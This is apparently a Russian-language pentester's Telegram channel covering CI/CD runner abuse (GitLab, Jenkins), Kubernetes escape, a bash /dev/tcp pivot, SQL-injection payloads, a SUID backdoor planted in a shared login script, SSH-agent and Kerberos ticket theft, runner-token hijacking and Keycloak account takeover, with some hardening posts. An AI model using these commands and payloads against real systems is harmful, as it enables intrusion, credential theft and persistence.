Нарыл
1.53K subscribers
6 photos
2 files
26 links
Канал о практической информационной безопасности. Автор - https://t.iss.one/sorokinpf
Download Telegram
О раннерах Gitlab

В большинстве установок Gitalb которые я видел используются Shared Runners. Shared Runners - это раннеры, которые можно применяться для сборки (ну или произвольного выполнения команд, смотря чьими глазами смотреть на это) в абсолютно любом проекте. Альтернатива шаред раннерам в Gitlab - Specific Runners. Последние могут быть закреплены за группой, проектом или даже только за protected branch в рамках git репозитория.

Для того чтобы посмотреть список доступных Shared Runners нужно создать/зайти в проект и перейти в Settings -> CI/CD -> Runners. Раннеры помечены синими плашками с тегами, с помощью этих тегов можно выбрать себе раннер по душе. Для этого нужно указать параметр tags в описании джобы в .gitlab-ci.yml.

Важно понимать что Gitlab Runner - все разные. И дело не только в списке установленного софта. Конфигурация позволяет добавить environment переменные. А также могут выполняться pre_build_script, или монтироваться volume. И то и другое и третье может использоваться админами для того чтобы добавить раннеру специфичные права. Например, добавляем раннеру тег ansible и подкладываем ему в виде volume ssh-ключ ansible. А как правило это God-Mode ключ, который может все внутри инфраструктуры.

Так что в случае получения доступа в Gitlab очень полезно создать персональный проект и посмотреть environment и подмонтированные файлы всех доступных Shared Runner, можно найти много интересного.
🔥6
Продолжение о раннерах Gitlab

Gitlab поддерживает разные типы executor. В зависимости от типа экзекьютора, выбранного для раннера, мы можем выполнять разные действия.

При использовании shell executor все сборки выполняются напрямую в шелле операционной системы от одного пользователя ОС. Если такой раннер является Shared, то безопасной конфигурации тут не может быть в принципе, по крайней мере я её себе не представляю. Любой кто может использовать такой раннер может создать процесс, который будет следить за всем что происходит на раннере, забирать исходные коды репозиториев, загружаемых на раннер, воровать env-переменные из других процессов. А также можно подменять артефакты сборки, что означает вполне вероятный взлом прода. С практической точки зрения следить за другими процессами удобно с помощью pspy.

В своей практике я встречал shell executor только для Windows раннеров. Выбор экзекьюторов для винды в Gitlab не такой богатый как в linux, так что это можно объяснить. Windows раннер по умолчанию стартует с правами локального администратора, так что находка такого shared runner может быть отправной точкой для атаки на Active Directory.

Windows раннер также можно установать так, чтобы он использовал учетную запись, которая не является локальным админитратором. Но это слабо помогает - процесс раннера стартует как сервис и получает группу NT AUTHORITY\SERVICE, откуда он наследует SeImpersonatePrivilege. А значит на нем можно довольно легко подняться до NT AUTHORITY\SYSTEM используя *Potato (например, SweetPotato) или PrintSpoofer.
🔥2👍1
И наверно пока что последняя заметка о раннерах Gitlab

Gitlab поддерживает сборку docker с помощью docker и kubernetes executor (еще можно через shell, но там и так все понятно). В обоих случаях в запускаемых джобах становится доступным docker.sock. Для docker executor можно выйти на хост, развивать дальнейшую атаку, лезть в другие пайплайны и т.д. - тут все понятно. https://t.iss.one/naryl_sec/6 - например вот тут обсуждалось.

С kubernetes executor все немного интереснее. Kubernetes создает отдельный docker daemon для каждой выполняемой job. То есть напрямую влиять на соседние job не получится, у каждой job свой персональный инстанс docker. Если попытаться выйти из job на хостовый docker обычным способом через подмонтирование файловой системы "хоста", то окажется что там девственно чистая система в которой нет ничего кроме docker. Но чтобы вся эта конструкция работала "хостовая" ОС запускается как привелигированный контейнер в kubernetes. То есть получается такая трехуровневая история - kubernetes (первый уровень) запускает контейнер с docker daemon (второй уровень), а также запускается контейнер в котором выполняется гитлабовская job (третий уровень), в которую прокинут docker API socket со второго уровня. Атакующий может запустить с помощью проброшенного docker API socket привелигированный контейнер (ну или выйти на "хостовый docker", который также является привелигированным контейнером). А из него уже можно подниматься до куберовской ноды. Например, путем монтирования файловой системы ноды в контейнер:


fdisk -l // Смотрим список устройств
mkdir /mnt/node
mount /dev/<нужное устройство> /mnt/node
1👍1
Что-то последнее время вообще не было времени, сори за длинную паузу.

Продолжим говорить о CI/CD и в этот раз о Jenkins (хотя частично информация актуальна для любой системы).

Предположим, что мы можем создавать и запускать Job в Jenkins, но при этом исполнение на master node запрещено конфигурацией. А также предположим что часть проектов использует разделяемый ssh-agent.

Поднять свои права в Jenkins в таком случае не получится, однако в такой конфигурации мы можем запускать свои команды на агенте и соответственно влиять на процесс сборки других проектов. Все процессы сборки всех проектов на ssh-agent запускаются от имени одного и того же пользователя (по умолчанию - jenkins). И порождает их общий процесс агента, который запущен из под того же самого пользователя. Соответственно нет никаких ограничений с точки зрения ОС на доступ к сборкам других проектов. Теоретически понятно, что мы можем:
1) читать исходный код, т.к. он скачивается для сборки и какое-то время находится на агенте
2) получить доступ к используемым секретам, ведь они используются при сборке и контроллер Jenkins должен их как-то передавать на агент
3) подменять артефакты сборки, ведь они создаются на агенте и потом как-то отправляются на контроллер

Теперь практически.

Процесс jenkins агента в процессе сборки запускает команды ОС. cmdline создаваемых процессов можно получить, например, с помощью pspy. В параметрах командной строки могут быть пути к директориям в которые делаются git clone (а значит там исходники), а также могут быть секреты.

Также, если разработчики конфигурируют пайплайны не аккуратно, секреты могут оставаться сохраненными на самом агенте. Например, если в процессе сборки выполняется docker login, то вероятно что в /home/jenkins/.docker/config останется пароль в открытом виде (а это дает нам возможность пушить в registry, то есть подменять артефакты). Также может остаться конфигурация в /home/jenkins/.kube/config. Короче, полезно заглянуть в домашний каталог и посмотреть что там лежит.

Часть секретов jenkins агент использует внутри своего процесса и никуда не передает и не сохраняет. Для того чтобы достать такие секреты можно анализировать память процесса jenkins агента. Напоминаю что jenkins написан на Java и копаться в его памяти совсем не так сложно, как может показаться.

Снять heapdump памяти можно такой командой:

jcmd <jenkins_agent_PID> GC.heap_dump /tmp/heapdumpfile.hprof


Секреты храняться в наследниках класса hudson.util.Secret. Дальше анализировать такой дамп можно вручную с помощью jhat или Eclipse Memory Analyzer. Можно пытаться автоматизировать, я делал к этому подход на основе проекта - парсера hprof py-hprof. Но это конечно скорее PoC чем готовая тулза. Также секреты через некоторое время удаляются из памяти агента, так что для того чтобы насобирать секреты нужно продолжительное время постоянно снимать дампы и запускать их анализ.
👍3
При анализе скоупа внешнего пентеста есть задача сбора всех доменнов и поддоменов. Один из возможных шагов - определение известных доменов по имеющимся в скоупе IP-адресам. То есть Reverse DNS.

В решении этой задачи обычный Reverse DNS - резолв PTR-записи - довольно бесполезен. Эту запись используют только при настройке SMTP-серверов и то не всегда.

Но есть базы, хранящие связки домен:IP-адрес всего (или существенной части) Интернета, и позволяющие резолвить в обе стороны. Одна из таких баз - PassiveTotal. Для доступа к API нужно зарегистрироваться и получить ключ на 1000 запросов в месяц.

Для выполнения запросов можно использовать консольный клиент или python библиотеку (1,2)
👍9
Бывает так, что мы попали на машину на которой ничего нет для пивотинга (назовем ее compA), и заливать ничего не хочется по не важно какой причине. И нам нужно как-то сходить по TCP на другую машину (compB), которая доступна только с compA с помощью какой-то специфичной софтины, например evil-winrm.

Тогда запивотится можно с помощью одного только bash!

Нам нужна своя тачка, которая доступна по сети для compA, назовем её compH.

На compH открываем два порта и связываем их друг с другом (WinRm использует порт 5985):

mknod backpipe p;
nc -lp 5985 0<backpipe | nc -lp 3333 1>backpip
e


На compA поднимаем два исходящих TCP соединения и тоже связываем их:

exec 3<>/dev/tcp/compB/5985
exec 4<>/dev/tcp/compH/3333
cat <&3 >&4 &
cat <&4 >&3 &




Ну и все, можно теперь делать:

evil-winrm -u cth -i compH
👍12👎1
Yii SQL-injection

Тут попалась скуля в Yii, в общем то довольно простая и понятная, но информации по скулям в Yii в инете мало, поэтому кажется что стоит написать.

PHP фремворк Yii использует свою собственную ORM - Yii ActiveRecord.

В этом ORM можно выбирать объекты безопасно:

User::find()->where(['email'=>$email]);
User::find()->where(['IN','user.id',$idList]);



Но также where (а вместе с ним разнообразные andWhere, orWhere и т.д.) может принимать строку, что может привести к скуле при неаккуратном использовании:

User::find()->where("lower(username)=$username")


Хотя вот так тоже все хорошо:

User::find()->where('lower(username)=:username', [':username' => $username])
🔥4👍3👎1
Последнее время я подписался под большим количеством активностей и что-то разумное постить не успеваю. Простите :(.

Но могу рассказать, что одна из этих активностей - это разработка таска для CTFZone. Также я протестировал ряд тасков, и они все крутые! Присоединяйтесь - должно быть очень здорово!

https://ctftime.org/event/1688
👍4🔥1
Иногда хочется перенаправить трафик из python кода через Burp. Можно конечно вставлять в опции requests verify=False, и выключать warning с помощью:

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


Но это надо делать каждый раз и не удобно. А есть библиотеки, которые не имеют опции аналогичной verify=False вообще, например jira. Значит придется добавлять сертификат Burp в список даверенных. Тут нужно отметить что python для защиты соедениний с HTTPS ресурсами использует свой список доверенных корневых сертификатов.
Чтобы посмотреть где этот список находится нужно выполнить

import certifi
print(certifi.where())


Далее нам нужно добавить сертификат Burp в формате PEM в указанный файл (в моем случае это /opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pem ).
Сертификат бурпа скачивается с https://burp в формате DER. переводим его в PEM с помощью openssl и добавляем в хранилище питона:

openssl x509 -inform DER -outform PEM -in cacert.der -out cacert.pem
cat cacert.pem >> /opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pem


Все, теперь ошибок и ворнингов доверия к сертификату Burp больше не будет.
🔥9🤩1
Тут попался мисконфиг, в котором я мог вписать свои команды в один из файлов, которые выполняются для всех логинящихся в linux систему пользователей. Сервак этот использует много народу, кто заранее придет залогиниться я не знал, ловить и коллекционировать reverse shellы было не удобно, прописываться в authorized_keys как то грязно, поэтому я решил использовать схему с SUID бекдорами. Накатал стандартный повышатель привилегий, запихнул его в общедоступную папку и добавил в общий файл с командами примерно следующее:

cp /tmp/bezobidnii_file /home/my_folder/share/`id -u`_test
chmod u+s /home/my_folder/share/`id -u`_test

Соответственно я получал возможность запускать процессы от имени всех зашедших пользователей.
Среди зашедших пользователей со временем появились админы сервера и как оказалось у них были права на sudo без пароля. Вот только из под моих шеллов sudo требовал пароль. Дело оказалось в том, что в sudoers были прописаны не сами админы а группы. А на создаваемые с помощью SUID-битов шеллы переезжали мои группы, а не группы целевого пользователя. Это логично, SUID-бит управляет только uid процесса, gid он никак не касается.

Нужна возможность получить на процесс группу, принадлежащую целевому пользователю, даже если её нет среди текущих групп процесса. И такую возможность предоставляет стандартный newgrp:

newgrp sudo_group
sudo -i


И мы в root-шелле.
🔥9👍3👏3
Мы уже обсуждали аспекты безопасности разных типов экзекьютеров в CI/CD. Предположим разработчикам необходимо использовать общий Docker executor, по какой либо причине и мы ничего не можем с этим сделать. Хочется такой экзекьютор захарденить. Но прежде давайте вспомним какие угрозы несет такой экзекьютор. Основная проблема - в контейнер в котором крутится джоба монтируется docker API socket. Используя этот сокет разработчик может:
- делать docker exec в чужие контейнеры, воровать там секреты, подменять артефакты и т.д.
- делать docker cp с той же целью
- запустить privileged контейнер и выбраться на хост. И уже закрепившись на хосте он может реализовывать все те же угрозы.

Для защиты docker существует Docker OPA plugin. Этот плагин реализует набор правил, через который пролетают все HTTP-запросы, прилетающие в docker API socket. Вот только я не нашел готового набора правил для описанной задачи. Пришлось этот набор создать.

Попутно пришлось разобраться со всеми командами и API Docker. Кое-где пришлось повозиться чтобы было относительно безопасно, но при этом осталось работоспособно, особенно с volumes. Пока не видно как можно в нашем случае отказаться от docker stop и docker logs (хотя правила написаны но выключены, их можно просто включить).

Если вам интересно потестить - поставьте себе OPA плагин, залейте в качестве правил all.rego запустите

docker run -it -v /var/run/docker.sock:/var/run/docker.sock docker

и попробуйте выбраться из контейнера или как-то повлиять на другие контейнеры.

P.S. По хорошему в CI/CD не надо использовать Docker. Фундаментальная проблема безопасности Docker в том, что он объединяет в себе два абсолютно разных функционала - сборки образов и рантайма для контейнеров. Есть инструменты, которые предназанчены только для сборки, например kaniko и buildah. Использование их в CI/CD предпочтительнее использования Docker.

P.P.S. Rego - язык не для людей. 😕
👍3🔥2🎉2😁1
Любой пентестер начиная с джуна знает что с Windows машин можно утащить сохраненные креды аутентифицированных пользователей из SAM/LSA secrets/памяти процесса LSASS.

Но в Linux такие случаи тоже бывают. И сейчас я опишу два варианта.

1. TGT билеты.
Что? TGT на Linux? Да! Если какой то системе на Linux сервере требуется интеграция с AD, то это вполне возможно. Для этого может быть использован стандартный пакет, например, krb5-user.

Пользователь может выполнить kinit, ввести свой пароль, и в директории /tmp образуется файл, имя которого начинается с krb5cc и с правами 600. И это TGT билет, причем в формате credentials cache (ccache), том самом который умеет понимать impacket.

TGT билет в /tmp может также образоваться и без вызова kinit руками, например, веб-приложение, интегрированное с AD, может вызвать kinit от имени пользователя.

Соответственно, если мы смогли рутануть сервак, мы можем утащить все сохраненные TGT билеты и использовать их в любых целях. Почти как на Windows 🙂

2. SSH Agent Socket
Администраторы и пользователи Linux часто используют проброс ssh agent для разных целей:
- загрузка файлов на сервер с помощью scp
- поход на другие сервера с помощью ssh
- работа с git
- и т.д.

Сама по себе эта концепция не так плоха с точки зрения безопасности, альтернарива - загрузка на удаленный сервер своего ssh-ключа. А так ключ остается на своей локальной тачке.

Но пока ssh-сессия активна, на сервере доступен Linux socket в директории, имя которой начинается с ssh_ в каталоге /tmp. Права на директорию разумеется 700.

И если мы рутанули сервак, то мы можем использовать любой из проброшенных сокетов, то есть по сути использовать ssh-ключи залогиненных пользователей.

Например зайти по ssh от чужого имени:

SSH_AUTH_SOCK=/tmp/ssh-AK33gp6fCF/agent.123456 ssh <user>@target_host.local


Работает только пока сессия активна, но, если мы знаем что мы хотим, мы можем написать скрипт, который будет дожидаться входа нужного пользователя и использовать SSH Agent Socket так как нужно. Немного не так удобно как с Windows, зато никакой возни с антивирусами 🙂
🔥10👍2🤔2
Вектор Conditional error boolean blind SQL-injection

При эксплуатации blind SQL-injection нам нужно уметь различать два ответа веб-приложения в зависимости от условия. Иногда для этого проще всего различать два состояния - произошла ошибка в СУБД или не произошла. То есть в зависимости от условия (нашего "вопроса" к СУБД) мы либо видим что произошла ошибка, либо веб-приложение работает в (относительно) штатном режиме. Такая ситуация в терминологии portswigger называется conditional error.

В читшите portswigger предложен ряд векторов для conditional error blind sql-injection.

Я хочу отметить еще один который работает во всех СУБД (в отличии от деления на 0) и на мой взгляд проще.


SELECT * FROM users where x='$input'

input=' and 1=(select 1 union select 2 where 1=1) --


Если условие (в примере 1=1) true, то подзапрос возвращает 2 строки и это ошибка СУБД. Если условие false, то строка возвращается одна и ошибки не будет.

В Oracle нужно слегка модифицировать:

input=' and 1=(select 1 FROM dual union select 2 from dual where 1=0) --


(не думаю что это новая тема, но я нигде не встречал)
👍6🔥6
Мои коллеги и друзья пилят публичные коллективные собеседования по внутреннему пентесту. Формат очень интересный, залезают в самый глубокие тонкости и самые сложные вопросы Windows сетей и атак на них. Если интересна тема - обязательно залетайте. Если не можете онлайн, рекомендую прослушать записи прошлых собесов, доступных на подкастах Яндекса.
Forwarded from RedTeam brazzers
Продолжаем серию наших ламповых встреч в формате собеседования. На подходе наша четвертая по счету и заключительная встреча в этом формате с подписчиками канала. Как всегда, я и Роман зададим вам несколько вопросов на темы:
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
🔥6
Вот слайды моего рассказа на конференции БЕКОН.

Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
👍5
Forwarded from k8s (in)security (Дмитрий Евдокимов)
06_OPA_с_shared_Docker_executor,_Павел_Сорокин,_OZON.pdf
12.4 MB
"OPA с shared Docker executor", Павел Сорокин, OZON
🔥10
Опубликовано мое выступление с конфы БЕКОН.

Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security

Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
🔥10👍3
Gitlab раннеры "аутентифицируются" в gitlab с помощью специальных токенов. Токены хранятся в конфиге раннеров и по ним gitlab понимает какой именно раннер пришел за задачей.

А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?

Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.

Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.

Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.

За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.

Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.

Подробнее про то как работает check_interval в доке
👍19🔥5
По умолчанию в Keycloak пользователям по адресу https://keycloak/realms/<realm_name>/account доступен довольно аскетичный интерфейс личного кабинета (на скриншоте).

В этом маленьком кабинете можно сменить себе в том числе email.

И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.

Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.

Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде [email protected].

Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
👍8🔥4😱3